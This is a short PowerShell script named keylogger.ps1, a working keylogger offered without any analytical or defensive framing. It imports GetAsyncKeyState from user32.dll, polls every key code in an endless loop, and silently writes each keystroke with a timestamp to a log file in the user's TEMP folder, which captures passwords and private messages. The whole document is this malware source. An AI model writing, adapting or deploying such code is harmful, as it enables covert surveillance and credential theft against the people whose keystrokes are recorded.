keylogger.ps1

Add-Type @'
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("user32.dll")]
    public static extern short GetAsyncKeyState(int vKey);
}
'@

$logFile = "$env:TEMP\keylog.txt"

while ($true) {
    Start-Sleep -Milliseconds 40
    for ($i = 8; $i -le 254; $i++) {
        $state = [Win32]::GetAsyncKeyState($i)
        # Test if key is pressed (bit 15 = currently pressed)
        if ($state -band 0x8000) {
            $key = [System.Windows.Forms.Keys]$i
            "[$(Get-Date -Format 'yyyy-MM-dd HH:mm:ss') ] $key" | Out-File -FilePath $logFile -Append -Encoding ascii
        }
    }
}